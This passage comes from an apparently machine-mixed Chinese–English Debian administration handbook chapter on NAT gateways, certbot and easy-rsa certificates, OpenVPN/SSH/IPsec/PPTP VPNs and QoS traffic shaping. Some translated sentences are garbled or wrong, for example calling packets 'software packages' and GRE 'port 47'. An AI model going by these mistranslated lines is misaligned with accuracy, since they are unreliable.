局域网路接在私人网址范围内 (不在网络网络的路由上)，网关就需要 地址掩蔽 让其经由网络与外界沟通。掩蔽作业是网络层次的代理工作：内部机器，都被网关取代 (因为网关有外部的路由地址)，借由掩蔽链接，数据送出出去，进来的数据经由掩蔽链接至内部机器。网关以指定的 TCP 端口运行此工作，通常是较高的号码 (超过 60000)。对外部而言，经由内部机器的链接，就是来自此等保留端口号。

文化 私有地址范围

RFC 1918 把三组 IPv4 地址设为局域网路专用，不能路由至互联网。第一组是，10.0.0.0/8 (见专栏 基本知识必要的网络概念（以太网、IP地址、子网、广播）)，是一个A级范围 (是 2^24 IP 地址)。第二组是，172.16.0.0/12，16个B级范围 (172.16.0.0/16 至 172.31.0.0/16)，每个有 2^16 IP 地址。最后，192.168.0.0/16 是一个B级范围 (包括 256 个C级范围，192.168.0.0/24 至 192.168.255.0/24，各有 256 个 IP 地址)。

→ http://www.faqs.org/rfcs/rfc1918.html

网关有两种 网络地址转换 (英文缩写 NAT) 的功能。第一种是 目的 NAT (DNAT)，改变封包目的 IP 地址 (与 TCP 或 UDP 端口)。链接追踪机制同时改变后续封包的链接。第二种 NAT 是 来源 NAT (SNAT)，其中的 伪装 是特例之一；SNAT 改变出去链接的来源 IP 地址 (与 TCP 或 UDP 端口)。如同 DNAT，所有的封包由链接追踪机制处理。NAT 只用于 IPv4 及其限制的地址空间；在 IPv6 内，其宽广的地址技术允许直接在互联网路由 (并不表示可以近用内部机器，因为防火墙可以过滤流量) 减少 NAT 的用途。

基本 端口转发

DNAT 的具体应用之一是 端口转发。进来链接至机器的指定端口号转发至另部机器的端口号。虽然还有其他的方案达成同样的效果，诸如应用层面的 ssh (见 第 9.2.1.4 节 “通过端口转发建立加密通道”) 或 redir。

理论讲多了，看看实务怎么做。system into a gateway is a simple matter of enabling the appropriate option in the Linux kernel, 经由 /proc/ 虚拟文件系统，从 Linux 核心进入 Debian 系统的网关：

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automatically enabled on boot if /etc/sysctl.conf or a configuration file in /etc/sysctl.d/ sets the net.ipv4.conf.default.forwarding option to 1.

例 10.1. /etc/sysctl.conf 文件

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

在 IPv6 也能取得同样的效果，把手册中的 ipv4 换为 ipv6，并使用 net.ipv6.conf.all.forwarding 于 /etc/sysctl.conf 文件内。

启用 IPv4 伪装就有点复杂，涉及配置 netfilter 防火墙。

需配置 netfilter，才能使用 NAT (IPv4)。因为此种组件的主要目的是软件包筛选，详情列在 第 14 章: “安全” (见 第 14.2 节 “防火墙或者包过滤”)。

10.2. X.509 认证

需要中央身份验证时，证书是基于密码协议构建的网络服务的重要组成部分。

在那些协议中，SSL 协议 (Secure Socket Layer)是由Netscape发明的，用以保护与网页服务器的连接。它后来被 IETF 标准化为 TLS (Transport Layer Security)。此后，TLS不断演进。如今，由于SSL被发现了多个设计缺陷，它已被弃用。

TLS 协议主要关注于在两个或多个互相通信的计算机程序之间提供隐私和数据完整性。在互联网上，最常见的应用场景是在客户端（例如网页浏览器）和服务器之间的通信。

A key pair is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

你可以建立自己的数字证书颁发机构（如在第 10.2.2 节 “公钥基础设施：easy-rsa” 中所述），但如果你打算将证书用于网站，则需要依赖受信任的数字证书颁发机构。证书的价格差异很大，但，用很少的花费甚至零花费，来实现出色的安全性，是有可能的。

10.2.1. 创建免费的受信任证书

Many programs create and use snakeoil certificates by default (see sidebar 安全 Snake oil SSL 证书). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix), mail delivery agents (Dovecot, Cyrus, etc.), and other network services.

Falcot 的管理员只是想为一台运行了 Apache 服务的网站创建一个证书。certbot 是一个方便的 Apache 插件，可以自动地获取证书、编辑 Apache 配置，所以他们使用了这个插件：

# apt install python3-certbot-apache

[...]

# certbot --apache

aving debug log to /var/log/letsencrypt/letsencrypt.log

Plugins selected: Authenticator apache, Installer apache

Enter email address (used for urgent renewal and security notices)

(Enter 'c' to cancel): admin@falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Please read the Terms of Service at

https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must

agree in order to register with the ACME server. Do you agree?

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: Y

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Would you be willing, once your first certificate is successfully issued, to

share your email address with the Electronic Frontier Foundation, a founding

partner of the Let's Encrypt project and the non-profit organization that

develops Certbot? We'd like to send you email about our work encrypting the web,

EFF news, campaigns, and ways to support digital freedom.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: N

Account registered.

No names were found in your configuration files. Please enter in your domain

name(s) (comma and/or space separated)  (Enter 'c' to cancel): falcot.com

Requesting a certificate for falcot.com

Performing the following challenges:

http-01 challenge for falcot.com

Enabled Apache rewrite module

Waiting for verification...

Cleaning up challenges

Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf

Enabled Apache socache_shmcb module

Enabled Apache ssl module

Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf

Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1: No redirect - Make no further changes to the webserver configuration.

2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for

new sites, or if you're confident your site works on HTTPS. You can undo this

change by editing your web server's configuration.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2

Enabled Apache rewrite module

Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Congratulations! You have successfully enabled https://falcot.com

You should test your configuration at:

https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:

- Congratulations! Your certificate and chain have been saved at:

/etc/letsencrypt/live/falcot.com/fullchain.pem

Your key file has been saved at:

/etc/letsencrypt/live/falcot.com/privkey.pem

Your cert will expire on 2022-06-04. To obtain a new or tweaked

version of this certificate in the future, simply run certbot again

with the "certonly" option. To non-interactively renew *all* of

your certificates, run "certbot renew"

- Your account credentials have been saved in your Certbot

configuration directory at /etc/letsencrypt. You should make a

secure backup of this folder now. This configuration directory will

also contain certificates and private keys obtained by Certbot so

making regular backups of this folder is ideal.

- If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate

Donating to EFF:                    https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. 公钥基础设施：easy-rsa

It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIVE GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

Falcot 公司的管理者以此工具添加必要的服务器与客户端认证。可以把所有的客户端配置成类似的状态，因为他们只需信件 Falcot 本地 CA 的认证。此 CA 是率先认证的；为此工作，管理者在适当的地方创建新的文件夹，供 CA 的文件使用，最好放在脱机的地方，杜绝私钥被窃的危险。

$ make-cadir pki-falcot

$ cd pki-falcot

然后它们将所需的参数存储到vars文件中，可以不加注释和编辑：

$ grep EASYRSA vars

if [ -z "$EASYRSA_CALLER" ]; then

# easyrsa.  More specific variables for specific files (e.g., EASYRSA_SSL_CONF)

#set_var EASYRSA "${0%/*}"

#set_var EASYRSA_OPENSSL "openssl"

#set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe"

#set_var EASYRSA_PKI "$PWD/pki"

#set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI"

#set_var EASYRSA_DN "cn_only"

set_var EASYRSA_REQ_COUNTRY "FR"

set_var EASYRSA_REQ_PROVINCE "Loire"

set_var EASYRSA_REQ_CITY "Saint-Étienne"

set_var EASYRSA_REQ_ORG "Falcot Corp"

set_var EASYRSA_REQ_EMAIL "admin@falcot.com"

set_var EASYRSA_REQ_OU "Certificate authority"

#set_var EASYRSA_KEY_SIZE 2048

#set_var EASYRSA_ALGO rsa

#set_var EASYRSA_CURVE secp384r1

#set_var EASYRSA_CA_EXPIRE 3650

#set_var EASYRSA_CERT_EXPIRE 825

#set_var EASYRSA_CRL_DAYS 180

#set_var EASYRSA_CERT_RENEW 30

#set_var EASYRSA_RAND_SN "yes"

#set_var EASYRSA_NS_SUPPORT "no"

#set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate"

#set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"

# when undefined here, default behaviour is to look in $EASYRSA_PKI first, then

# fallback to $EASYRSA for the 'x509-types' dir.  You may override this

#set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"

#set_var EASYRSA_KDC_REALM      "CHANGEME.EXAMPLE.COM"

# EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA

#set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"

#set_var EASYRSA_REQ_CN "ChangeMe"

#set_var EASYRSA_DIGEST "sha256"

#set_var EASYRSA_BATCH ""

$ vim vars

$

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki

init-pki complete; you may now create a CA or requests.

Your newly created PKI dir is: /home/debian/pki-falcot/pki

下一步是创建CA本身的密钥对（在这一步中，密钥对的两个部分将存储在pki/ca.crt和pki/private/ca.key下）。我们可以添加选项 nopass 来避免每次使用私钥时输入密码：

$ ./easyrsa build-ca nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating RSA private key, 2048 bit long modulus (2 primes)

..................+++++

...............................+++++

e is 65537 (0x010001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [Easy-RSA CA]:

CA creation complete and you may now import and sign cert requests.

Your new CA certificate file for publishing is at:

/home/debian/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section 第 10.3 节 “虚拟专用网络”) that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating a RSA private key

......................................+++++

..........................................................................+++++

writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [vpn.falcot.com]:

Keypair and certificate request completed. Your files are:

req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req

key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key

$ ./easyrsa sign-req server vpn.falcot.com

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

You are about to sign the following certificate.

Please check over the details shown below for accuracy. Note that this request

has not been cryptographically verified. Please be sure it came from a trusted

source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 825 days:

subject=

commonName                = vpn.falcot.com

Type the word 'yes' to continue, or any other input to abort.

Confirm request details: yes

Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'vpn.falcot.com'

Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days)

Write out database with 1 new entries

Data Base Updated

Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt

$ ./easyrsa gen-dh

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

[…]

DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

以上的步骤添加 VPN 客户；每个使用 VPN 的电脑或用户都需有个认证：

$ ./easyrsa build-client-full JoeSmith nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating a RSA private key

...................................+++++

.........................................................................................+++++

writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE'

-----

Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'JoeSmith'

Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days)

Write out database with 1 new entries

Data Base Updated

10.3. 虚拟专用网络

虚拟专用网络 (VPN) 是以信道方式，经由互联网链接两个局域网路的方式；通常以加密方式在信道内发送信息。VPN 通常用于集成公司内部远程机器。

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. OpenVPN

OpenVPN 用于创建虚拟专用网络的一个软件。在 VPN 服务器及客户端创建虚拟专用网络；支持 tun (IP 层面的信道) 和 tap (Ethernet 层面的信道) 接口。实务上，常用的是 tun 接口，除非 VPN 客户端难以经由 Ethernet 桥接器集成入服务器的局域网路。

OpenVPN 所有的 SSL/TLS 加密与其他功能 (机密性、认证、完整性、不可否认性)，均有赖于 OpenSSL。可以用公钥基础设施的共享私钥或使用 X.509 认证的方式配置它。建议使用后者的方式配置，以漫游方式近用 VPN 的用户可享有更多的弹性。

10.3.1.1. 配置 OpenVPN 服务器

After all certificates have been created (follow the instructions from 第 10.2.2 节 “公钥基础设施：easy-rsa”), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

禁止进一步的行动，VPN 客户端只能经由 10.8.0.1 地址近用 VPN 服务器。为了授权客户近用本地网络 (192.168.0.0/24)，需在 OpenVPN 配置中加入 推送路径 192.168.0.0 255.255.255.0，让 VPN 客户端自动取得网络路由，使其明了经由 VPN 可以进入该网络。此外，本地网络的机器也需被告知，经由 VPN 服务器 (在闸道安装 VPN 服务器即自动启用) 进入VPN。另外，VPN 服务器可以配置后运行伪装 IP 的工作，让来自 VPN 客户端的消息显示成来自 VPN 服务器 (见 第 10.1 节 “网关”)。

10.3.1.2. 配置 OpenVPN 客户端

需配置 /etc/openvpn/ 内的文件才能设置 OpenVPN 客户端。标准的配置方法可从使用 /usr/share/doc/openvpn/examples/sample-config-files/client.conf 这个文件开始。remote vpn.falcot.com 1194 介绍 OpenVPN 服务器的地址及端口号；描述密钥文档地址时，需参考 ca、cert 和 key。

If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

The network-manager-openvpn-gnome package contains an extension to Network Manager (see 第 8.2.5 节 “漫游用户的网络自动配置”) that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.

10.3.2. SSH 下的虚拟专属网络

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

第二个方法较新，适用于 OpenSSH 4.3；可以在 OpenSSH 之下创建虚拟网络接口 (tun*) 于 SSH 链接的两端，且可以精准地配置这些虚拟接口，就像在实体接口环境下。必须先设置 PermitTunnel 为 “yes” 于 SSH 服务器配置档 (/etc/ssh/sshd_config)，才能启用此隧道系统。启用 SSH 链接后，添加的隧道必须以 -w any:any 选项 (any 可以用期望的 tun 设备名称取代) 请求链接。两端的用户需有管理者权限，才能添加网络设备 (换句话说，必须以超级用户的身份才能创建链接)。

以 SSH 创建虚拟专属网络的两种方法都很直接。然而，它们提供的 VPN 不是最有效的；特别是，无法有效处理高端的流量。

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. 互联网安全协议

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the first of these options.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

仅管其状态为参照，IPsec 的设置限制其用途。必备的信道不多也不是动态时，OpenVPN-based 解决方案较受用。

注意 IPsec 与 NAT

NAT 的防火墙与 IPsec 无法并用：因为 IPsec 是软件包，任何改变将引发防火墙的作用，软件包就会被拒绝。不同的 IPsec 应用包括：NAT-T 技术 (给 NAT Traversal)，把 IPsec 软件包包装在标准的 UDP 封包内。

安全 IPsec 与防火墙

IPsec 的标准操作模式在 UDP 端口号 500 做键值交换 (使用 NAT-T 时，也可在 UDP 端口号 4500)。而且，IPsec 封包使用两个固定的 IP 协议允许防火墙通过；收到这些封包的基础是其协议编号，50 (ESP) 与 51 (AH)。

10.3.4. PPTP

PPTP (𪅈原文是 Point-to-Point Tunneling Protocol) 用到两种通信闸道，一个控制数据另个酬载数据；后者使用 GRE 协议 (Generic Routing Encapsulation)。标准的 PPP 链接创建在数据交换闸道。

10.3.4.1. 配置客户端

此 pptp-linux 封包含有易于配置的 Linux 客户端 PPTP。以下说明取自官方文档：

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Falcot 管理者添加若干文件：/etc/ppp/options.pptp、/etc/ppp/peers/falcot、/etc/ppp/ip-up.d/falcot、与 /etc/ppp/ip-down.d/falcot。

例 10.2. /etc/ppp/options.pptp 文件

# PPP options used for a PPTP connection

lock

noauth

nobsdcomp

nodeflate

例 10.3. /etc/ppp/peers/falcot 文件

# vpn.falcot.com is the PPTP server

pty "pptp vpn.falcot.com --nolaunchpppd"

# the connection will identify as the "vpn" user

user vpn

remotename pptp

# encryption is needed

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

例 10.4. /etc/ppp/ip-up.d/falcot 文件

# Create the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route add 192.168.0.0/24 dev $1

fi

例 10.5. /etc/ppp/ip-down.d/falcot 文件

# Delete the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route del 192.168.0.0/24 dev $1

fi

安全 MPPE

加密的 PPTP 涉及使用 MPPE 功能 (Microsoft Point-to-Point Encryption)，可从 Debian 官方的核心取得模块。

10.3.4.2. 配置服务器

注意 PPTP 与防火墙

需配置中间防火墙让 IP 封包使用端口号 47 (GRE)。此外，需打开 PPTP 服务器的端口号 1723以使用通信闸道。

pptpd 是 Linux 的 PPTP 服务器。它的主要配置档是，/etc/pptpd.conf，应做若干改变：localip (内网 IP 地址) 与 remoteip (外网 IP 地址)。在下例中，PPTP 服务器总是使用 192.168.0.199 地址，以及从 192.168.0.200 至 192.168.0.250 之间接收 PPTP 客户端的 IP 地址。

例 10.6. /etc/pptpd.conf 文件

[..]

# TAG: localip

# TAG: remoteip

#       Specifies the local and remote IP address ranges.

#

#       These options are ignored if delegate option is set.

#

#       Any addresses work as long as the local machine takes care of the

#       routing.  But if you want to use MS-Windows networking, you should

#       use IP addresses out of the LAN address space and use the proxyarp

#       option in the pppd options file, or run bcrelay.

#

#       You can specify single IP addresses seperated by commas or you can

#       specify ranges, or both. For example:

#

#               192.168.0.234,192.168.0.245-249,192.168.0.254

#

#       IMPORTANT RESTRICTIONS:

#

#       1. No spaces are permitted between commas or within addresses.

#

#       2. If you give more IP addresses than the value of connections,

#          it will start at the beginning of the list and go until it

#          gets connections IPs.  Others will be ignored.

#

#       3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,

#          you must type 234-238 if you mean this.

#

#       4. If you give a single localIP, that's ok - all local IPs will

#          be set to the given one. You MUST still give at least one remote

#          IP for each simultaneous client.

#

# (Recommended)

#localip 192.168.0.1

#remoteip 192.168.0.234-238,192.168.0.245

# or

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

localip 192.168.0.199

remoteip 192.168.0.200-250

PPP 采用 PPTP 服务器配置时也需在 /etc/ppp/pptpd-options 做若干改变。 重要的参数有服务器名称 (pptp)、网域名称 (falcot.com)、以及 DNS 与 WINS 服务器的 IP 地址。

例 10.7. /etc/ppp/pptpd-options 文件

# Enable connection debugging facilities.

# (see your syslog configuration for where pppd sends to)

#debug

# Name of the local system for authentication purposes

# (must match the second field in /etc/ppp/chap-secrets entries)

name pptpd

# Optional: domain name to use for authentication

## change the domainname to your local domain

domain falcot.com

# Authentication

## these are reasonable defaults for WinXXXX clients

## for the security related settings

auth

refuse-pap

refuse-chap

refuse-mschap

# Require the peer to authenticate itself using MS-CHAPv2 [Microsoft

# Challenge Handshake Authentication Protocol, Version 2] authentication.

require-mschap-v2

# Require MPPE 128-bit encryption

# (note that MPPE requires the use of MSCHAP-V2 during authentication)

require-mppe-128

# Network and Routing

## Fill in your addresses

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults

nodefaultroute

proxyarp

lock

登录 vpn 用户 (及其密码) 于 /etc/ppp/chap-secrets 文件的最后一个步骤。其他的作为里，星号 (*) 是有作用的，在此的服务器名称必须明示出来。而且，Windows PPTP 客户端以 DOMAIN\\USER 形式辨识，不是以用户名区别。这就说明了在 FALCOT\\vpn 用户必须提及的文件。也可以指定用户使用特定的 IP 地址；此字段内的星号用于指定动态的地址。

例 10.8. 该 /etc/ppp/chap-secrets 文件

# Secrets for authentication using CHAP

# client        server  secret      IP addresses

vpn             pptp    f@Lc3au     *

FALCOT\\vpn     pptp    f@Lc3au     *

安全 PPTP 漏洞

𧢒微软的第一个 PPTP 应用发生重大的瑕疪，因为出现很多安全漏洞；多半在新版已修正了。本节的配置文档使用最新版的协议。移除部分选项 (如 require-mppe-128 与 require-mschap-v2) 仍可能再出现服务漏洞。

10.4. 品质服务

10.4.1. 原则与机制

服务品质 (Quality of Service 或缩写为 QoS) 系指提供应用时足以保证或改进服务品质的技术。最常见的技术包括分类网络流量、及依照其类别区分流量的作用。这种区分服务的概念是 流量成形，限制部分服务或主机的数据传输率，使其不致塞饱可用的带宽以及压缩其他的服务。流量成形是 TCP 流量的特定形式，此协议自动调整可用的频。

CULTURE Net neutrality and QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

也可能改变流量的优先级，允许与交互服务有关的 (如 ssh 与 telnet) 或只服务小量数据的封包优先处理。

Debian 核心包括 QoS 必备的功能与相关的模块。这些模块提供多样服务，多半系供 IP 封包数组使用；这些数组行为包括多种可能的需求。

文化 LARTC — Linux 高端路由与流量控制

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ https://www.lartc.org/howto/

10.4.2. 配置与应用

经由 tc 命令 (由 iproute 软件包提供) 设置 QoS 参数。因为其接口较为复杂，推荐使用高端的工具。

10.4.2.1. 减少延迟：wondershaper

wondershaper (在同名的软件包中) 的主要目的是最小化独立网络负载的延迟。经由限制整体流量的值缩短链接的饱和值。

Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface download_rate upload_rate. The interface can be enp1s0, eth0 or ppp0 for example, and both rates are expressed in kilobits per second. The wondershaper remove interface command disables traffic control on the specified interface.

For an Ethernet connection, historically this script would be called right after the interface is configured. This is done by adding up and down directives to the /etc/network/interfaces file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. Or in the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/ will enable traffic control as soon as the connection is up. Below is an example using this first method:

例 10.9. 对文件/etc/network/interfaces的变更

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

进阶优化配置

文件/usr/share/doc/wondershaper/README.Debian.gz描述了由包维护者推荐的，一些细节的配置方式。尤其是，它建议测量下载和上传速度来最好评估实际限制。

10.4.2.2. 标准配置

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle

nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04

nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Dynamic Routing

